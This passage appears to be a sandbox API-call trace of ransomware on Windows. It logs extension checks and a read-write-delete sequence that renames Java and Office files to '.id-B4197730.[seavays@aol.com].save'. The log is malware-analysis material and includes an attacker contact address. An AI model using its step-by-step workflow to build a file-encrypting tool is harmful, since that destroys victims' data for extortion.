Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.640] lstrlenW (lpString=".zip") returned 4 [0170.640] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString=".rar") returned 4 [0170.640] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString=".bz2") returned 4 [0170.640] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString=".7z") returned 3 [0170.640] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.640] lstrlenW (lpString=".dbf") returned 4 [0170.640] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.640] lstrlenW (lpString=".1cd") returned 4 [0170.640] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.640] lstrlenW (lpString=".jpg") returned 4 [0170.640] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0170.640] lstrcmpiW (lpString1=".policy", lpString2=".save") returned -1 [0170.640] lstrlenW (lpString="java.policy") returned 11 [0170.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0170.655] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=2466) returned 1 [0170.655] CloseHandle (hObject=0x524) returned 1 [0170.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0170.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.973] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.973] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.974] GetLastError () returned 0x0 [0170.975] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0170.976] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0170.977] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.977] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0170.978] SetEndOfFile (hFile=0x51c) returned 1 [0170.978] CloseHandle (hObject=0x51c) returned 1 [0170.978] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.978] SetEndOfFile (hFile=0x528) returned 1 [0170.980] CloseHandle (hObject=0x528) returned 1 [0170.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.982] lstrlenW (lpString=".doc") returned 4 [0170.982] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".docx") returned 5 [0170.982] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0170.982] lstrlenW (lpString=".pdf") returned 4 [0170.982] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".xls") returned 4 [0170.982] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".xlsx") returned 5 [0170.982] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0170.982] lstrlenW (lpString=".ppt") returned 4 [0170.982] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.982] lstrlenW (lpString=".zip") returned 4 [0170.982] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".rar") returned 4 [0170.982] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".bz2") returned 4 [0170.982] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0170.982] lstrlenW (lpString=".7z") returned 3 [0170.982] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.982] lstrlenW (lpString=".dbf") returned 4 [0170.983] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString=".1cd") returned 4 [0170.983] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString=".jpg") returned 4 [0170.983] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString=".doc") returned 4 [0170.983] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".docx") returned 5 [0170.983] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0170.983] lstrlenW (lpString=".pdf") returned 4 [0170.983] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".xls") returned 4 [0170.983] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".xlsx") returned 5 [0170.983] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0170.983] lstrlenW (lpString=".ppt") returned 4 [0170.983] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString=".zip") returned 4 [0170.983] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".rar") returned 4 [0170.983] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".bz2") returned 4 [0170.983] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0170.983] lstrlenW (lpString=".7z") returned 3 [0170.983] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.983] lstrlenW (lpString=".dbf") returned 4 [0170.984] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0170.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.984] lstrlenW (lpString=".1cd") returned 4 [0170.984] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0170.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0170.984] lstrlenW (lpString=".jpg") returned 4 [0170.984] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0170.984] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0170.984] lstrlenW (lpString="sound.properties") returned 16 [0170.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.985] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=1210) returned 1 [0170.985] CloseHandle (hObject=0x528) returned 1 [0170.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0170.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.985] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.986] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.986] GetLastError () returned 0x0 [0170.986] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0170.988] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0170.989] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.989] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0170.989] SetEndOfFile (hFile=0x51c) returned 1 [0170.989] CloseHandle (hObject=0x51c) returned 1 [0170.989] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.989] SetEndOfFile (hFile=0x528) returned 1 [0170.992] CloseHandle (hObject=0x528) returned 1 [0170.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.992] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0171.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.331] lstrlenW (lpString=".doc") returned 4 [0171.331] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0171.331] lstrlenW (lpString=".docx") returned 5 [0171.331] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0171.331] lstrlenW (lpString=".pdf") returned 4 [0171.332] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".xls") returned 4 [0171.332] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".xlsx") returned 5 [0171.332] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0171.332] lstrlenW (lpString=".ppt") returned 4 [0171.332] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString=".zip") returned 4 [0171.332] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".rar") returned 4 [0171.332] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".bz2") returned 4 [0171.332] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".7z") returned 3 [0171.332] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString=".dbf") returned 4 [0171.332] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString=".1cd") returned 4 [0171.332] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString=".jpg") returned 4 [0171.332] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.332] lstrlenW (lpString=".doc") returned 4 [0171.332] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0171.332] lstrlenW (lpString=".docx") returned 5 [0171.332] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0171.333] lstrlenW (lpString=".pdf") returned 4 [0171.333] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString=".xls") returned 4 [0171.333] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString=".xlsx") returned 5 [0171.333] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0171.333] lstrlenW (lpString=".ppt") returned 4 [0171.333] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.333] lstrlenW (lpString=".zip") returned 4 [0171.333] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString=".rar") returned 4 [0171.333] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString=".bz2") returned 4 [0171.333] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString=".7z") returned 3 [0171.333] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.333] lstrlenW (lpString=".dbf") returned 4 [0171.333] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.333] lstrlenW (lpString=".1cd") returned 4 [0171.333] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0171.333] lstrlenW (lpString=".jpg") returned 4 [0171.333] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0171.333] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.334] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0171.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.538] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=24768) returned 1 [0171.538] CloseHandle (hObject=0x434) returned 1 [0171.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0171.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.442] lstrlenW (lpString=".doc") returned 4 [0172.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString=".docx") returned 5 [0172.443] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.443] lstrlenW (lpString=".pdf") returned 4 [0172.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString=".xls") returned 4 [0172.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString=".xlsx") returned 5 [0172.443] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.443] lstrlenW (lpString=".ppt") returned 4 [0172.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.443] lstrlenW (lpString=".zip") returned 4 [0172.443] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString=".rar") returned 4 [0172.443] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.443] lstrlenW (lpString=".bz2") returned 4 [0172.443] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.443] lstrlenW (lpString=".7z") returned 3 [0172.443] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.443] lstrlenW (lpString=".dbf") returned 4 [0172.443] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.443] lstrlenW (lpString=".1cd") returned 4 [0172.443] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.443] lstrlenW (lpString=".jpg") returned 4 [0172.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.444] lstrlenW (lpString=".doc") returned 4 [0172.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString=".docx") returned 5 [0172.444] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.444] lstrlenW (lpString=".pdf") returned 4 [0172.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString=".xls") returned 4 [0172.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString=".xlsx") returned 5 [0172.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.444] lstrlenW (lpString=".ppt") returned 4 [0172.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.444] lstrlenW (lpString=".zip") returned 4 [0172.444] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString=".rar") returned 4 [0172.444] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.444] lstrlenW (lpString=".bz2") returned 4 [0172.444] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.444] lstrlenW (lpString=".7z") returned 3 [0172.444] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.445] lstrlenW (lpString=".dbf") returned 4 [0172.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.445] lstrlenW (lpString=".1cd") returned 4 [0172.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0172.445] lstrlenW (lpString=".jpg") returned 4 [0172.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.445] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0172.445] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0172.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.723] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21184) returned 1 [0172.723] CloseHandle (hObject=0x548) returned 1 [0172.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0172.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.888] lstrlenW (lpString=".doc") returned 4 [0172.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.888] lstrlenW (lpString=".docx") returned 5 [0172.888] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.888] lstrlenW (lpString=".pdf") returned 4 [0172.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.888] lstrlenW (lpString=".xls") returned 4 [0172.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.888] lstrlenW (lpString=".xlsx") returned 5 [0172.888] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.888] lstrlenW (lpString=".ppt") returned 4 [0172.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.888] lstrlenW (lpString=".zip") returned 4 [0172.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.888] lstrlenW (lpString=".rar") returned 4 [0172.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.889] lstrlenW (lpString=".bz2") returned 4 [0172.889] lstrcmpiW (lpString1=".bz2", 